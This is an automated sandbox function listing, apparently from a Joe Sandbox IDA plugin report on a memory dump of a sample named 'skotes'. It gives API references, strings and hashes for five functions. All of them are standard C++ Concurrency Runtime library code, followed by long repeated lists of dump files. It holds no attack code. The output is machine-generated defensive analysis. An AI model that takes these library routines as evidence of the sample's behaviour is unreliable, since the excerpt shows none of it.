Function 00C5AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00C5AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C5AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00C5AF4E

Strings

pExecutionResource, xrefs: 00C5AF07

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 48a9ba43817d5d463fe05001b94a9c3353123ba2c7832bd1e0288caeb768771c
Instruction ID: 7176a23e3fc133a2eccac6c22cc5e2360156a5acc92b2ce28840fcaceaa581f9
Opcode Fuzzy Hash: 48a9ba43817d5d463fe05001b94a9c3353123ba2c7832bd1e0288caeb768771c
Instruction Fuzzy Hash: 8121D6756402059BCF08EFA4C882BADB7B5BF98300F144129F905AB292DBB4AE05DB95

Function 00C54EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C54F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00C54F66

Strings

count, xrefs: 00C54EBA
ppVirtualProcessorRoots, xrefs: 00C54F1C

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 6a0907de4389c425a07ab30844df7b47cd27b83c7a420e162b38982f206c72c1
Instruction ID: 2edfd39400642317834ce8df41a2b63ddb92c7285a3cf30dfbff3e53b3fa3818
Opcode Fuzzy Hash: 6a0907de4389c425a07ab30844df7b47cd27b83c7a420e162b38982f206c72c1
Instruction Fuzzy Hash: 2E210738600205EFCB18EF98C892EADB7B5FF48315F004069F90697691CF71AE86DB59

Function 00C5B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00C5BA0E

Strings

RoInitialize, xrefs: 00C5B998
RoUninitialize, xrefs: 00C5B9C1
combase.dll, xrefs: 00C5B983, 00C5B988, 00C5B99D, 00C5B9C8

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 597ad75db24d6ac954818030ab9387c36d441248e522f3316d2c022afb5208b2
Instruction ID: 0a1d584ef9cec85f1d6e77456e6176b5289f6571aaaa0fd1947ae469b4cdd1bd
Opcode Fuzzy Hash: 597ad75db24d6ac954818030ab9387c36d441248e522f3316d2c022afb5208b2
Instruction Fuzzy Hash: DA0122744813115EEF11BBB15C05BBB39DC9F01319F202829AA91E21C1EB74E84493AC

Function 00C56E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00C56E73

Part of subcall function 00C54E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00C54E7F
Part of subcall function 00C54E6E: List.LIBCMT ref: 00C54E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C56E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00C56EAA

Strings

eventObject, xrefs: 00C56E7D

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 3def7ad157fe97ddf74e7ead289e3ee0ec63f2e63b6a3598f4e45bfb7db3c3c3
Instruction ID: 8f6e8629208d5cfffa78a31b0ee8233813396d086fa60c55ed6bb614735c36c4
Opcode Fuzzy Hash: 3def7ad157fe97ddf74e7ead289e3ee0ec63f2e63b6a3598f4e45bfb7db3c3c3
Instruction Fuzzy Hash: 06112139501204EBDB24FBA4CC87FEE72A86F01709FA04524F815A70D0DBB0AA88C779

Function 00C5A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00C5A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00C5A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C5A139

Strings

pScheduler, xrefs: 00C5A131

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
